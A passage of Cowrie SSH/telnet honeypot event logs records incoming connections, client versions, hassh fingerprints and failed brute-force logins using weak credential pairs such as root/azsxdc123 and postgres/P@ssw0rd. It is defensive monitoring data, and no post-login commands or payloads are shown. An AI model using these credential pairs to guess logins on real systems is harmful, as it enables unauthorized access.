istp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:53:38.906529Z","src_ip":"91.92.40.4","session":"05fdb02d7e30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1q2w3e4r","message":"login attempt [user/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:53:39.148705Z","src_ip":"91.92.40.4","session":"05fdb02d7e30","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:53:40.281876Z","src_ip":"91.92.40.4","session":"05fdb02d7e30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.123.134.194","src_port":41868,"dst_ip":"159.203.135.109","dst_port":22,"session":"6c3e4dda6bbf","protocol":"ssh","message":"New connection: 34.123.134.194:41868 (159.203.135.109:22) [session: 6c3e4dda6bbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:53:49.689712Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:53:49.693446Z","src_ip":"34.123.134.194","session":"6c3e4dda6bbf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:53:49.865748Z","src_ip":"34.123.134.194","session":"6c3e4dda6bbf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postfix","password":"postfix123","message":"login attempt [postfix/postfix123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:53:50.192802Z","src_ip":"34.123.134.194","session":"6c3e4dda6bbf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.43655252456665,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:53:50.396701Z","src_ip":"170.64.224.25","session":"ad1c0d32233b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:53:51.347146Z","src_ip":"34.123.134.194","session":"6c3e4dda6bbf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.38.41","src_port":39608,"dst_ip":"159.203.135.109","dst_port":22,"session":"50dac5fd354e","protocol":"ssh","message":"New connection: 165.232.38.41:39608 (159.203.135.109:22) [session: 50dac5fd354e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:53:53.575996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:53:53.579657Z","src_ip":"165.232.38.41","session":"50dac5fd354e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:53:53.648053Z","src_ip":"165.232.38.41","session":"50dac5fd354e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"azsxdc123","message":"login attempt [root/azsxdc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:53:53.955959Z","src_ip":"165.232.38.41","session":"50dac5fd354e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:53:55.027595Z","src_ip":"165.232.38.41","session":"50dac5fd354e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"146.190.154.85","src_port":36316,"dst_ip":"159.203.135.109","dst_port":22,"session":"f3daa83c93fb","protocol":"ssh","message":"New connection: 146.190.154.85:36316 (159.203.135.109:22) [session: f3daa83c93fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:54:32.915578Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:54:32.919204Z","src_ip":"146.190.154.85","session":"f3daa83c93fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:54:32.983548Z","src_ip":"146.190.154.85","session":"f3daa83c93fb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.16.244.39","src_port":43956,"dst_ip":"10.17.0.5","dst_port":22,"session":"42c513b437ea","protocol":"ssh","message":"New connection: 177.16.244.39:43956 (10.17.0.5:22) [session: 42c513b437ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:54:33.198739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:54:33.202975Z","src_ip":"177.16.244.39","session":"42c513b437ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"techhelp","password":"techhelp123","message":"login attempt [techhelp/techhelp123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:54:33.271919Z","src_ip":"146.190.154.85","session":"f3daa83c93fb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:54:33.332481Z","src_ip":"177.16.244.39","session":"42c513b437ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"000000","message":"login attempt [user1/000000] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:54:33.885368Z","src_ip":"177.16.244.39","session":"42c513b437ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:54:34.336852Z","src_ip":"146.190.154.85","session":"f3daa83c93fb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:54:35.016808Z","src_ip":"177.16.244.39","session":"42c513b437ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.18.197.35","src_port":33370,"dst_ip":"159.203.135.109","dst_port":22,"session":"dcbefce89938","protocol":"ssh","message":"New connection: 154.18.197.35:33370 (159.203.135.109:22) [session: dcbefce89938]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:55:15.839197Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:55:15.843469Z","src_ip":"154.18.197.35","session":"dcbefce89938","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:55:16.057191Z","src_ip":"154.18.197.35","session":"dcbefce89938","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"P@ssw0rd","message":"login attempt [postgres/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:55:16.948558Z","src_ip":"154.18.197.35","session":"dcbefce89938","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:55:18.166007Z","src_ip":"154.18.197.35","session":"dcbefce89938","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.39","src_port":59846,"dst_ip":"159.203.135.109","dst_port":23,"session":"afb5711c3c76","protocol":"telnet","message":"New connection: 198.235.24.39:59846 (159.203.135.109:23) [session: afb5711c3c76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:55:24.266470Z"}
{"eventid":"cowrie.session.closed","duration":9.777555704116821,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:55:34.043892Z","src_ip":"198.235.24.39","session":"afb5711c3c76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":34242,"dst_ip":"10.17.0.5","dst_port":22,"session":"fae42d26bd1f","protocol":"ssh","message":"New connection: 103.98.149.87:34242 (10.17.0.5:22) [session: fae42d26bd1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:55:42.499952Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:55:42.503425Z","src_ip":"103.98.149.87","session":"fae42d26bd1f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:55:42.738814Z","src_ip":"103.98.149.87","session":"fae42d26bd1f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:55:43.395052Z","src_ip":"103.98.149.87","session":"fae42d26bd1f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:55:44.651863Z","src_ip":"103.98.149.87","session":"fae42d26bd1f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":52156,"dst_ip":"159.203.135.109","dst_port":22,"session":"14a98ebe521b","protocol":"ssh","message":"New connection: 159.65.58.200:52156 (159.203.135.109:22) [session: 14a98ebe521b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:55:52.693692Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:55:53.122802Z","src_ip":"159.65.58.200","session":"14a98ebe521b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:55:53.125975Z","src_ip":"159.65.58.200","session":"14a98ebe521b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solne","password":"123456","message":"login attempt [solne/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:55:54.027440Z","src_ip":"159.65.58.200","session":"14a98ebe521b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.199.80","src_port":20602,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d28fc93831e","protocol":"ssh","message":"New connection: 147.45.199.80:20602 (159.203.135.109:22) [session: 7d28fc93831e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:55:54.079127Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:55:54.083420Z","src_ip":"147.45.199.80","session":"7d28fc93831e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:55:54.179188Z","src_ip":"147.45.199.80","session":"7d28fc93831e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fynjyfynjy","message":"login attempt [root/fynjyfynjy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:55:54.484226Z","src_ip":"147.45.199.80","session":"7d28fc93831e","protocol":"ssh"}
